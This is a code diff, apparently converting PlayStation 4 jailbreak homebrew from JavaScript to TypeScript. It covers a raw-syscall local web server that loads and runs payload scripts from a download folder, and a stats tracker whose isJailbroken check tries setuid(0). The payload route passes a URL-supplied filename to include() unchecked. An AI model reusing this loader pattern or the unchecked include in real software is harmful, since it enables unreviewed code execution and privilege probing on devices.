var bind_sys = fn.bind
|
const bind_sys = fn.bind
|
||||||
var setsockopt_sys = fn.setsockopt
|
const setsockopt_sys = fn.setsockopt
|
||||||
var listen_sys = fn.listen
|
const listen_sys = fn.listen
|
||||||
var accept_sys = fn.accept
|
const accept_sys = fn.accept
|
||||||
var getsockname_sys = fn.getsockname
|
const getsockname_sys = fn.getsockname
|
||||||
var read_sys = fn.read
|
const read_sys = fn.read
|
||||||
var write_sys = fn.write
|
const write_sys = fn.write
|
||||||
var close_sys = fn.close
|
const open_sys = fn.open
|
||||||
var getdents_sys = fn.getdents
|
const close_sys = fn.close
|
||||||
var select_sys = fn.select
|
const getdents_sys = fn.getdents
|
||||||
|
const select_sys = fn.select
|
||||||
|
|
||||||
var AF_INET = 2
|
const AF_INET = 2
|
||||||
var SOCK_STREAM = 1
|
const SOCK_STREAM = 1
|
||||||
var SOCK_DGRAM = 2
|
const SOCK_DGRAM = 2
|
||||||
var SOL_SOCKET = 0xFFFF
|
const SOL_SOCKET = 0xFFFF
|
||||||
var SO_REUSEADDR = 0x4
|
const SO_REUSEADDR = 0x4
|
||||||
var O_RDONLY = 0
|
const O_RDONLY = 0
|
||||||
|
|
||||||
// helper to make string buffer
|
|
||||||
function str_buf (s) {
|
|
||||||
var buf = mem.malloc(s.length + 1)
|
|
||||||
for (var i = 0; i < s.length; i++) {
|
|
||||||
mem.view(buf).setUint8(i, s.charCodeAt(i))
|
|
||||||
}
|
|
||||||
mem.view(buf).setUint8(s.length, 0) // null terminator
|
|
||||||
return buf
|
|
||||||
}
|
|
||||||
|
|
||||||
// scan download0 for js files
|
// scan download0 for js files
|
||||||
function scan_js_files () {
|
function scan_js_files () {
|
||||||
var files = []
|
const files: string[] = []
|
||||||
|
|
||||||
// try different paths for payloads dir
|
// try different paths for payloads dir
|
||||||
var paths = ['/download0/', '/app0/download0/', 'download0/payloads']
|
const paths = ['/download0/', '/app0/download0/', 'download0/payloads']
|
||||||
var dir_fd = -1
|
let dir_fd = -1
|
||||||
var opened_path = ''
|
let opened_path = ''
|
||||||
|
|
||||||
for (var p = 0; p < paths.length; p++) {
|
for (const path of paths) {
|
||||||
var path = paths[p]
|
const dirRet = open_sys(path, O_RDONLY, 0)
|
||||||
var path_str = mem.malloc(path.length + 1)
|
dir_fd = dirRet.lo
|
||||||
for (var i = 0; i < path.length; i++) {
|
|
||||||
mem.view(path_str).setUint8(i, path.charCodeAt(i))
|
|
||||||
}
|
|
||||||
mem.view(path_str).setUint8(path.length, 0)
|
|
||||||
|
|
||||||
dir_fd = fn.open(path_str, O_RDONLY)
|
|
||||||
if (dir_fd instanceof BigInt) dir_fd = dir_fd.lo
|
|
||||||
|
|
||||||
if (dir_fd >= 0) {
|
if (dir_fd >= 0) {
|
||||||
opened_path = path
|
opened_path = path
|
||||||
@@ -83,22 +71,20 @@ function scan_js_files () {
|
|||||||
|
|
||||||
log('opened: ' + opened_path)
|
log('opened: ' + opened_path)
|
||||||
|
|
||||||
var dirent_buf = mem.malloc(1024)
|
const dirent_buf = mem.malloc(1024)
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
var ret = getdents_sys(dir_fd, dirent_buf, 1024)
|
const ret = getdents_sys(dir_fd, dirent_buf, new BigInt(1024)).lo
|
||||||
if (ret instanceof BigInt) ret = ret.lo
|
|
||||||
if (ret <= 0) break
|
if (ret <= 0) break
|
||||||
|
|
||||||
var offset = 0
|
let offset = 0
|
||||||
while (offset < ret) {
|
while (offset < ret) {
|
||||||
var d_fileno = mem.view(dirent_buf).getUint32(offset, true)
|
const d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true)
|
||||||
var d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true)
|
const d_type = mem.view(dirent_buf).getUint8(offset + 6)
|
||||||
var d_type = mem.view(dirent_buf).getUint8(offset + 6)
|
const d_namlen = mem.view(dirent_buf).getUint8(offset + 7)
|
||||||
var d_namlen = mem.view(dirent_buf).getUint8(offset + 7)
|
|
||||||
|
|
||||||
var name = ''
|
let name = ''
|
||||||
for (var i = 0; i < d_namlen; i++) {
|
for (let i = 0; i < d_namlen; i++) {
|
||||||
name += String.fromCharCode(mem.view(dirent_buf).getUint8(offset + 8 + i))
|
name += String.fromCharCode(mem.view(dirent_buf).getUint8(offset + 8 + i))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -111,15 +97,15 @@ function scan_js_files () {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fn.close(dir_fd)
|
close_sys(new BigInt(dir_fd))
|
||||||
return files
|
return files
|
||||||
}
|
}
|
||||||
|
|
||||||
var js_files = scan_js_files()
|
const js_files = scan_js_files()
|
||||||
log('found ' + js_files.length + ' js files')
|
log('found ' + js_files.length + ' js files')
|
||||||
|
|
||||||
// build html with log panel and button
|
// build html with log panel and button
|
||||||
var html = '<!DOCTYPE html>\n' +
|
const html = '<!DOCTYPE html>\n' +
|
||||||
'<html>\n' +
|
'<html>\n' +
|
||||||
'<head>\n' +
|
'<head>\n' +
|
||||||
'<title>ps4</title>\n' +
|
'<title>ps4</title>\n' +
|
||||||
@@ -140,12 +126,12 @@ var html = '<!DOCTYPE html>\n' +
|
|||||||
'</div>\n' +
|
'</div>\n' +
|
||||||
'<div id="status">disconnected</div>\n' +
|
'<div id="status">disconnected</div>\n' +
|
||||||
'<script>\n' +
|
'<script>\n' +
|
||||||
'var logEl=document.getElementById("log");\n' +
|
'const logEl=document.getElementById("log");\n' +
|
||||||
'var statusEl=document.getElementById("status");\n' +
|
'const statusEl=document.getElementById("status");\n' +
|
||||||
'var ws=null;\n' +
|
'const ws=null;\n' +
|
||||||
'function addLog(msg){var div=document.createElement("div");div.className="line";div.textContent=msg;logEl.appendChild(div);logEl.scrollTop=logEl.scrollHeight;}\n' +
|
'function addLog(msg){const div=document.createElement("div");div.className="line";div.textContent=msg;logEl.appendChild(div);logEl.scrollTop=logEl.scrollHeight;}\n' +
|
||||||
'function connectWS(){try{ws=new WebSocket("ws://127.0.0.1:40404");ws.onopen=function(){statusEl.textContent="connected";statusEl.style.opacity="1";addLog("[connected to ws]");};ws.onmessage=function(e){addLog(e.data);};ws.onclose=function(){statusEl.textContent="disconnected";statusEl.style.opacity="0.5";addLog("[disconnected]");setTimeout(connectWS,2000);};ws.onerror=function(){statusEl.textContent="error";statusEl.style.opacity="0.5";};}catch(e){addLog("[ws error: "+e.message+"]");setTimeout(connectWS,5000);}}\n' +
|
'function connectWS(){try{ws=new WebSocket("ws://127.0.0.1:40404");ws.onopen=function(){statusEl.textContent="connected";statusEl.style.opacity="1";addLog("[connected to ws]");};ws.onmessage=function(e){addLog(e.data);};ws.onclose=function(){statusEl.textContent="disconnected";statusEl.style.opacity="0.5";addLog("[disconnected]");setTimeout(connectWS,2000);};ws.onerror=function(){statusEl.textContent="error";statusEl.style.opacity="0.5";};}catch(e){addLog("[ws error: "+e.message+"]");setTimeout(connectWS,5000);}}\n' +
|
||||||
'function goFullscreen(){var elem=document.documentElement;try{if(elem.requestFullscreen){elem.requestFullscreen();}else if(elem.webkitRequestFullscreen){elem.webkitRequestFullscreen();}else if(elem.mozRequestFullScreen){elem.mozRequestFullScreen();}else if(elem.msRequestFullscreen){elem.msRequestFullscreen();}else{addLog("[fullscreen not supported]");}}catch(e){addLog("[fullscreen error: "+e.message+"]");}}\n' +
|
'function goFullscreen(){const elem=document.documentElement;try{if(elem.requestFullscreen){elem.requestFullscreen();}else if(elem.webkitRequestFullscreen){elem.webkitRequestFullscreen();}else if(elem.mozRequestFullScreen){elem.mozRequestFullScreen();}else if(elem.msRequestFullscreen){elem.msRequestFullscreen();}else{addLog("[fullscreen not supported]");}}catch(e){addLog("[fullscreen error: "+e.message+"]");}}\n' +
|
||||||
'function loadPayload(){fetch("/load").then(function(){addLog("[payload loaded]");});}\n' +
|
'function loadPayload(){fetch("/load").then(function(){addLog("[payload loaded]");});}\n' +
|
||||||
'connectWS();\n' +
|
'connectWS();\n' +
|
||||||
'window.onload = function() {\n' +
|
'window.onload = function() {\n' +
|
||||||
@@ -158,28 +144,28 @@ var html = '<!DOCTYPE html>\n' +
|
|||||||
|
|
||||||
// detect local ip by connecting to 8.8.8.8 (doesnt actually send anything)
|
// detect local ip by connecting to 8.8.8.8 (doesnt actually send anything)
|
||||||
log('detecting local ip...')
|
log('detecting local ip...')
|
||||||
var detect_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0))
|
const detect_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0))
|
||||||
if (detect_fd.lo < 0) throw new Error('socket failed')
|
if (detect_fd.lo < 0) throw new Error('socket failed')
|
||||||
|
|
||||||
var detect_addr = mem.malloc(16)
|
const detect_addr = mem.malloc(16)
|
||||||
mem.view(detect_addr).setUint8(0, 16)
|
mem.view(detect_addr).setUint8(0, 16)
|
||||||
mem.view(detect_addr).setUint8(1, AF_INET)
|
mem.view(detect_addr).setUint8(1, AF_INET)
|
||||||
mem.view(detect_addr).setUint16(2, 0x3500, false) // port 53
|
mem.view(detect_addr).setUint16(2, 0x3500, false) // port 53
|
||||||
mem.view(detect_addr).setUint32(4, 0x08080808, false) // 8.8.8.8
|
mem.view(detect_addr).setUint32(4, 0x08080808, false) // 8.8.8.8
|
||||||
|
|
||||||
var local_ip = '127.0.0.1' // fallback
|
let local_ip = '127.0.0.1' // fallback
|
||||||
|
|
||||||
if (connect_sys(detect_fd, detect_addr, new BigInt(0, 16)).lo >= 0) {
|
if (connect_sys(detect_fd, detect_addr, new BigInt(0, 16)).lo >= 0) {
|
||||||
var local_addr = mem.malloc(16)
|
const local_addr = mem.malloc(16)
|
||||||
var local_len = mem.malloc(4)
|
const local_len = mem.malloc(4)
|
||||||
mem.view(local_len).setUint32(0, 16, true)
|
mem.view(local_len).setUint32(0, 16, true)
|
||||||
|
|
||||||
if (getsockname_sys(detect_fd, local_addr, local_len).lo >= 0) {
|
if (getsockname_sys(detect_fd, local_addr, local_len).lo >= 0) {
|
||||||
var ip_int = mem.view(local_addr).getUint32(4, false)
|
const ip_int = mem.view(local_addr).getUint32(4, false)
|
||||||
var ip1 = (ip_int >> 24) & 0xFF
|
const ip1 = (ip_int >> 24) & 0xFF
|
||||||
var ip2 = (ip_int >> 16) & 0xFF
|
const ip2 = (ip_int >> 16) & 0xFF
|
||||||
var ip3 = (ip_int >> 8) & 0xFF
|
const ip3 = (ip_int >> 8) & 0xFF
|
||||||
var ip4 = ip_int & 0xFF
|
const ip4 = ip_int & 0xFF
|
||||||
local_ip = ip1 + '.' + ip2 + '.' + ip3 + '.' + ip4
|
local_ip = ip1 + '.' + ip2 + '.' + ip3 + '.' + ip4
|
||||||
log('detected ip: ' + local_ip)
|
log('detected ip: ' + local_ip)
|
||||||
}
|
}
|
||||||
@@ -189,16 +175,16 @@ close_sys(detect_fd)
|
|||||||
|
|
||||||
// create server socket
|
// create server socket
|
||||||
log('creating server...')
|
log('creating server...')
|
||||||
var srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
const srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
||||||
if (srv.lo < 0) throw new Error('cant create socket')
|
if (srv.lo < 0) throw new Error('cant create socket')
|
||||||
|
|
||||||
// set SO_REUSEADDR
|
// set SO_REUSEADDR
|
||||||
var optval = mem.malloc(4)
|
const optval = mem.malloc(4)
|
||||||
mem.view(optval).setUint32(0, 1, true)
|
mem.view(optval).setUint32(0, 1, true)
|
||||||
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
|
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
|
||||||
|
|
||||||
// bind to 0.0.0.0:0 (let os pick port)
|
// bind to 0.0.0.0:0 (let os pick port)
|
||||||
var addr = mem.malloc(16)
|
const addr = mem.malloc(16)
|
||||||
mem.view(addr).setUint8(0, 16)
|
mem.view(addr).setUint8(0, 16)
|
||||||
mem.view(addr).setUint8(1, AF_INET)
|
mem.view(addr).setUint8(1, AF_INET)
|
||||||
mem.view(addr).setUint16(2, 0, false) // port 0
|
mem.view(addr).setUint16(2, 0, false) // port 0
|
||||||
@@ -210,11 +196,11 @@ if (bind_sys(srv, addr, new BigInt(0, 16)).lo < 0) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// get actual port
|
// get actual port
|
||||||
var actual_addr = mem.malloc(16)
|
const actual_addr = mem.malloc(16)
|
||||||
var actual_len = mem.malloc(4)
|
const actual_len = mem.malloc(4)
|
||||||
mem.view(actual_len).setUint32(0, 16, true)
|
mem.view(actual_len).setUint32(0, 16, true)
|
||||||
getsockname_sys(srv, actual_addr, actual_len)
|
getsockname_sys(srv, actual_addr, actual_len)
|
||||||
var port = mem.view(actual_addr).getUint16(2, false)
|
const port = mem.view(actual_addr).getUint16(2, false)
|
||||||
|
|
||||||
log('got port: ' + port)
|
log('got port: ' + port)
|
||||||
|
|
||||||
@@ -233,32 +219,32 @@ try {
|
|||||||
jsmaf.openWebBrowser('http://127.0.0.1:' + port)
|
jsmaf.openWebBrowser('http://127.0.0.1:' + port)
|
||||||
log('opened browser')
|
log('opened browser')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('couldnt open browser: ' + e.message)
|
log('couldnt open browser: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
|
|
||||||
// helper to send response
|
// helper to send response
|
||||||
function send_response (fd, body) {
|
function send_response (fd: BigInt, body: string) {
|
||||||
var resp = 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: ' + body.length + '\r\nConnection: close\r\n\r\n' + body
|
const resp = 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: ' + body.length + '\r\nConnection: close\r\n\r\n' + body
|
||||||
var buf = mem.malloc(resp.length)
|
const buf = mem.malloc(resp.length)
|
||||||
for (var i = 0; i < resp.length; i++) {
|
for (let i = 0; i < resp.length; i++) {
|
||||||
mem.view(buf).setUint8(i, resp.charCodeAt(i))
|
mem.view(buf).setUint8(i, resp.charCodeAt(i))
|
||||||
}
|
}
|
||||||
write_sys(fd, buf, new BigInt(0, resp.length))
|
write_sys(fd, buf, new BigInt(0, resp.length))
|
||||||
}
|
}
|
||||||
|
|
||||||
// parse path from http request
|
// parse path from http request
|
||||||
function get_path (buf, len) {
|
function get_path (buf: BigInt, len: number) {
|
||||||
var req = ''
|
let req = ''
|
||||||
for (var i = 0; i < len && i < 1024; i++) {
|
for (let i = 0; i < len && i < 1024; i++) {
|
||||||
var c = mem.view(buf).getUint8(i)
|
const c = mem.view(buf).getUint8(i)
|
||||||
if (c === 0) break
|
if (c === 0) break
|
||||||
req += String.fromCharCode(c)
|
req += String.fromCharCode(c)
|
||||||
}
|
}
|
||||||
|
|
||||||
// GET /path HTTP/1.1
|
// GET /path HTTP/1.1
|
||||||
var lines = req.split('\n')
|
const lines = req.split('\n')
|
||||||
if (lines.length > 0) {
|
if (lines.length > 0) {
|
||||||
var parts = lines[0].trim().split(' ')
|
const parts = lines[0]!.trim().split(' ')
|
||||||
if (parts.length >= 2) return parts[1]
|
if (parts.length >= 2) return parts[1]
|
||||||
}
|
}
|
||||||
return '/'
|
return '/'
|
||||||
@@ -267,46 +253,46 @@ function get_path (buf, len) {
|
|||||||
log('server ready - non-blocking mode')
|
log('server ready - non-blocking mode')
|
||||||
log('waiting for connections...')
|
log('waiting for connections...')
|
||||||
|
|
||||||
var count = 0
|
let count = 0
|
||||||
var serverRunning = true
|
let serverRunning = true
|
||||||
|
|
||||||
// Prepare select() structures (reuse across calls)
|
// Prepare select() structures (reuse across calls)
|
||||||
var readfds = mem.malloc(128)
|
const readfds = mem.malloc(128)
|
||||||
var timeout = mem.malloc(16)
|
const timeout = mem.malloc(16)
|
||||||
mem.view(timeout).setUint32(0, 0, true)
|
mem.view(timeout).setUint32(0, 0, true)
|
||||||
mem.view(timeout).setUint32(4, 0, true)
|
mem.view(timeout).setUint32(4, 0, true)
|
||||||
mem.view(timeout).setUint32(8, 0, true)
|
mem.view(timeout).setUint32(8, 0, true)
|
||||||
mem.view(timeout).setUint32(12, 0, true)
|
mem.view(timeout).setUint32(12, 0, true)
|
||||||
|
|
||||||
var client_addr = mem.malloc(16)
|
const client_addr = mem.malloc(16)
|
||||||
var client_len = mem.malloc(4)
|
const client_len = mem.malloc(4)
|
||||||
var req_buf = mem.malloc(4096)
|
const req_buf = mem.malloc(4096)
|
||||||
|
|
||||||
function handleRequest () {
|
function handleRequest () {
|
||||||
if (!serverRunning) return
|
if (!serverRunning) return
|
||||||
|
|
||||||
// Clear fd_set and set server fd
|
// Clear fd_set and set server fd
|
||||||
for (var i = 0; i < 128; i++) {
|
for (let i = 0; i < 128; i++) {
|
||||||
mem.view(readfds).setUint8(i, 0)
|
mem.view(readfds).setUint8(i, 0)
|
||||||
}
|
}
|
||||||
|
|
||||||
var fd = srv.lo
|
const fd = srv.lo
|
||||||
var byte_index = Math.floor(fd / 8)
|
const byte_index = Math.floor(fd / 8)
|
||||||
var bit_index = fd % 8
|
const bit_index = fd % 8
|
||||||
var current = mem.view(readfds).getUint8(byte_index)
|
const current = mem.view(readfds).getUint8(byte_index)
|
||||||
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
|
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
|
||||||
|
|
||||||
// Poll with select() - returns immediately
|
// Poll with select() - returns immediately
|
||||||
var nfds = fd + 1
|
const nfds = fd + 1
|
||||||
var select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
const select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
||||||
|
|
||||||
// No connection ready
|
// No connection ready
|
||||||
if (select_ret.lo <= 0) return
|
if (select_ret.lo <= 0) return
|
||||||
|
|
||||||
// Connection ready - accept won't block
|
// Connection ready - accept won't block
|
||||||
mem.view(client_len).setUint32(0, 16, true)
|
mem.view(client_len).setUint32(0, 16, true)
|
||||||
var client_ret = accept_sys(srv, client_addr, client_len)
|
const client_ret = accept_sys(srv, client_addr, client_len)
|
||||||
var client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
const client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
||||||
|
|
||||||
if (client < 0) {
|
if (client < 0) {
|
||||||
log('accept failed: ' + client)
|
log('accept failed: ' + client)
|
||||||
@@ -318,48 +304,48 @@ function handleRequest () {
|
|||||||
log('[' + count + '] client connected')
|
log('[' + count + '] client connected')
|
||||||
|
|
||||||
// read request
|
// read request
|
||||||
var read_ret = read_sys(client, req_buf, new BigInt(0, 4096))
|
const read_ret = read_sys(new BigInt(client), req_buf, new BigInt(0, 4096))
|
||||||
var bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
const bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
||||||
log('read ' + bytes + ' bytes')
|
log('read ' + bytes + ' bytes')
|
||||||
|
|
||||||
var path = get_path(req_buf, bytes)
|
const path = get_path(req_buf, bytes)
|
||||||
log('path: ' + path)
|
log('path: ' + path)
|
||||||
|
|
||||||
// handle /load - just run loader.js
|
// handle /load - just run loader.js
|
||||||
if (path === '/load' || path.indexOf('/load?') === 0) {
|
if (path === '/load' || path?.indexOf('/load?') === 0) {
|
||||||
log('running loader.js')
|
log('running loader.js')
|
||||||
|
|
||||||
send_response(client, 'loading...')
|
send_response(new BigInt(client), 'loading...')
|
||||||
close_sys(client)
|
close_sys(new BigInt(client))
|
||||||
|
|
||||||
try {
|
try {
|
||||||
log('=== loading loader.js ===')
|
log('=== loading loader.js ===')
|
||||||
include('loader.js')
|
include('loader.js')
|
||||||
log('=== done ===')
|
log('=== done ===')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('error: ' + e.message)
|
log('error: ' + (e as Error).message)
|
||||||
if (e.stack) log(e.stack)
|
if ((e as Error).stack) log((e as Error).stack!)
|
||||||
}
|
}
|
||||||
} else if (path.indexOf('/load/') === 0) {
|
} else if (path?.indexOf('/load/') === 0) {
|
||||||
// handle /load/filename.js
|
// handle /load/filename.js
|
||||||
var filename = path.substring(6)
|
const filename = path.substring(6)
|
||||||
log('loading: ' + filename)
|
log('loading: ' + filename)
|
||||||
|
|
||||||
send_response(client, 'loading ' + filename + '... check console')
|
send_response(new BigInt(client), 'loading ' + filename + '... check console')
|
||||||
close_sys(client)
|
close_sys(new BigInt(client))
|
||||||
|
|
||||||
try {
|
try {
|
||||||
log('=== loading ' + filename + ' ===')
|
log('=== loading ' + filename + ' ===')
|
||||||
include('download0/payloads/' + filename)
|
include('download0/payloads/' + filename)
|
||||||
log('=== done loading ' + filename + ' ===')
|
log('=== done loading ' + filename + ' ===')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('error: ' + e.message)
|
log('error: ' + (e as Error).message)
|
||||||
if (e.stack) log(e.stack)
|
if ((e as Error).stack) log((e as Error).stack!)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// just serve the main page
|
// just serve the main page
|
||||||
send_response(client, html)
|
send_response(new BigInt(client), html)
|
||||||
close_sys(client)
|
close_sys(new BigInt(client))
|
||||||
}
|
}
|
||||||
|
|
||||||
log('closed connection')
|
log('closed connection')
|
||||||
@@ -1,42 +1,34 @@
|
|||||||
|
import { fn, mem, BigInt } from 'download0/types'
|
||||||
|
|
||||||
// Statistics tracker using syscalls for direct file I/O
|
// Statistics tracker using syscalls for direct file I/O
|
||||||
|
|
||||||
// Register read syscall if not already registered
|
// Register read syscall if not already registered
|
||||||
try {
|
|
||||||
if (!fn.read) {
|
|
||||||
fn.register(0x3, 'read', 'bigint')
|
|
||||||
}
|
|
||||||
} catch (e) {
|
|
||||||
// Already registered
|
|
||||||
}
|
|
||||||
|
|
||||||
function isJailbroken () {
|
function isJailbroken () {
|
||||||
// Register syscalls
|
// Register syscalls
|
||||||
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
|
fn.register(24, 'getuid', [], 'bigint')
|
||||||
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
|
fn.register(23, 'setuid', ['number'], 'bigint')
|
||||||
|
|
||||||
// Get current UID
|
// Get current UID
|
||||||
var uid_before = fn.getuid()
|
const uid_before = fn.getuid()
|
||||||
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
const uid_before_val = uid_before.lo
|
||||||
log('UID before setuid: ' + uid_before_val)
|
log('UID before setuid: ' + uid_before_val)
|
||||||
|
|
||||||
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
|
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
|
||||||
log('Attempting setuid(0)...')
|
log('Attempting setuid(0)...')
|
||||||
var setuid_success = false
|
|
||||||
var error_msg = null
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
var setuid_result = fn.setuid(0)
|
const setuid_result = fn.setuid(0)
|
||||||
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
const setuid_ret = setuid_result.lo
|
||||||
log('setuid returned: ' + setuid_ret)
|
log('setuid returned: ' + setuid_ret)
|
||||||
setuid_success = (setuid_ret === 0)
|
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
error_msg = e.toString()
|
const error_msg = (e as Error).toString()
|
||||||
log('setuid threw exception: ' + error_msg)
|
log('setuid threw exception: ' + error_msg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get UID after setuid attempt
|
// Get UID after setuid attempt
|
||||||
var uid_after = fn.getuid()
|
const uid_after = fn.getuid()
|
||||||
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
const uid_after_val = uid_after.lo
|
||||||
log('UID after setuid: ' + uid_after_val)
|
log('UID after setuid: ' + uid_after_val)
|
||||||
|
|
||||||
if (uid_after_val === 0) {
|
if (uid_after_val === 0) {
|
||||||
@@ -48,7 +40,7 @@ function isJailbroken () {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var stats = {
|
export const stats = {
|
||||||
total: 0,
|
total: 0,
|
||||||
success: 0,
|
success: 0,
|
||||||
filepath: '/download0/stats.json',
|
filepath: '/download0/stats.json',
|
||||||
@@ -56,7 +48,11 @@ var stats = {
|
|||||||
// Load stats from file using syscalls
|
// Load stats from file using syscalls
|
||||||
load: function () {
|
load: function () {
|
||||||
try {
|
try {
|
||||||
var fd = fn.open(this.filepath, 0, 0) // O_RDONLY
|
fn.register(0x3, 'read', ['bigint', 'bigint', 'number'], 'bigint')
|
||||||
|
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
|
||||||
|
fn.register(0x5, 'open', ['string', 'number', 'number'], 'bigint')
|
||||||
|
fn.register(0x6, 'close', ['bigint'], 'bigint')
|
||||||
|
const fd = fn.open(this.filepath, 0, 0) // O_RDONLY
|
||||||
if (fd.lt(0)) {
|
if (fd.lt(0)) {
|
||||||
log('[STATS] No stats file found, starting fresh')
|
log('[STATS] No stats file found, starting fresh')
|
||||||
this.total = 0
|
this.total = 0
|
||||||
@@ -65,19 +61,19 @@ var stats = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Read file content
|
// Read file content
|
||||||
var buf = mem.malloc(1024)
|
const buf = mem.malloc(1024)
|
||||||
var bytesRead = fn.read(fd, buf, 1024)
|
const bytesRead = fn.read(fd, buf, 1024)
|
||||||
fn.close(fd)
|
fn.close(fd)
|
||||||
|
|
||||||
if (bytesRead.gt(0)) {
|
if (bytesRead.neq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) {
|
||||||
// Convert buffer to string
|
// Convert buffer to string
|
||||||
var str = ''
|
let str = ''
|
||||||
for (var i = 0; i < Number(bytesRead); i++) {
|
for (let i = 0; i < Number(bytesRead); i++) {
|
||||||
str += String.fromCharCode(mem.view(buf.add(i)).getUint8(0, true))
|
str += String.fromCharCode(mem.view(buf.add(i)).getUint8(0))
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
var parsed = JSON.parse(str)
|
const parsed = JSON.parse(str)
|
||||||
this.total = parsed.total || 0
|
this.total = parsed.total || 0
|
||||||
this.success = parsed.success || 0
|
this.success = parsed.success || 0
|
||||||
log('[STATS] Loaded: total=' + this.total + ', success=' + this.success)
|
log('[STATS] Loaded: total=' + this.total + ', success=' + this.success)
|
||||||
@@ -89,7 +85,7 @@ var stats = {
|
|||||||
}
|
}
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('[STATS] Error loading stats: ' + e)
|
log('[STATS] Error loading stats: ' + e)
|
||||||
log(e.stack)
|
log((e as Error).stack ?? '')
|
||||||
this.total = 0
|
this.total = 0
|
||||||
this.success = 0
|
this.success = 0
|
||||||
}
|
}
|
||||||
@@ -98,16 +94,20 @@ var stats = {
|
|||||||
// Save stats to file using syscalls
|
// Save stats to file using syscalls
|
||||||
save: function () {
|
save: function () {
|
||||||
try {
|
try {
|
||||||
|
fn.register(0x3, 'read', ['bigint', 'bigint', 'number'], 'bigint')
|
||||||
|
fn.register(0x4, 'write', ['bigint', 'bigint', 'number'], 'bigint')
|
||||||
|
fn.register(0x5, 'open', ['string', 'number', 'number'], 'bigint')
|
||||||
|
fn.register(0x6, 'close', ['bigint'], 'bigint')
|
||||||
this.filepath = isJailbroken() ? '/mnt/sandbox/download/CUSA00960/stats.json' : '/download0/stats.json'
|
this.filepath = isJailbroken() ? '/mnt/sandbox/download/CUSA00960/stats.json' : '/download0/stats.json'
|
||||||
|
|
||||||
var data = JSON.stringify({
|
const data = JSON.stringify({
|
||||||
total: this.total,
|
total: this.total,
|
||||||
success: this.success
|
success: this.success
|
||||||
})
|
})
|
||||||
|
|
||||||
// Open file for writing (O_WRONLY | O_CREAT | O_TRUNC)
|
// Open file for writing (O_WRONLY | O_CREAT | O_TRUNC)
|
||||||
// O_WRONLY = 1, O_CREAT = 0x200, O_TRUNC = 0x400
|
// O_WRONLY = 1, O_CREAT = 0x200, O_TRUNC = 0x400
|
||||||
var fd = fn.open(this.filepath, 0x601, 0x1FF) // 0x1FF = 0777 permissions
|
const fd = fn.open(this.filepath, 0x601, 0x1FF) // 0x1FF = 0777 permissions
|
||||||
|
|
||||||
if (fd.lt(0)) {
|
if (fd.lt(0)) {
|
||||||
log('[STATS] Failed to open file for writing')
|
log('[STATS] Failed to open file for writing')
|
||||||
@@ -115,12 +115,12 @@ var stats = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Write data to file
|
// Write data to file
|
||||||
var buf = mem.malloc(data.length)
|
const buf = mem.malloc(data.length)
|
||||||
for (var i = 0; i < data.length; i++) {
|
for (let i = 0; i < data.length; i++) {
|
||||||
mem.view(buf.add(i)).setUint8(0, data.charCodeAt(i), true)
|
mem.view(buf.add(i)).setUint8(0, data.charCodeAt(i))
|
||||||
}
|
}
|
||||||
|
|
||||||
var bytesWritten = fn.write(fd, buf, data.length)
|
const bytesWritten = fn.write(fd, buf, data.length)
|
||||||
fn.close(fd)
|
fn.close(fd)
|
||||||
|
|
||||||
if (bytesWritten.eq(data.length)) {
|
if (bytesWritten.eq(data.length)) {
|
||||||
@@ -163,7 +163,7 @@ var stats = {
|
|||||||
|
|
||||||
// Print current stats
|
// Print current stats
|
||||||
print: function () {
|
print: function () {
|
||||||
var current = this.get()
|
const current = this.get()
|
||||||
log('[STATS] ====== Statistics ======')
|
log('[STATS] ====== Statistics ======')
|
||||||
log('[STATS] Total: ' + current.total)
|
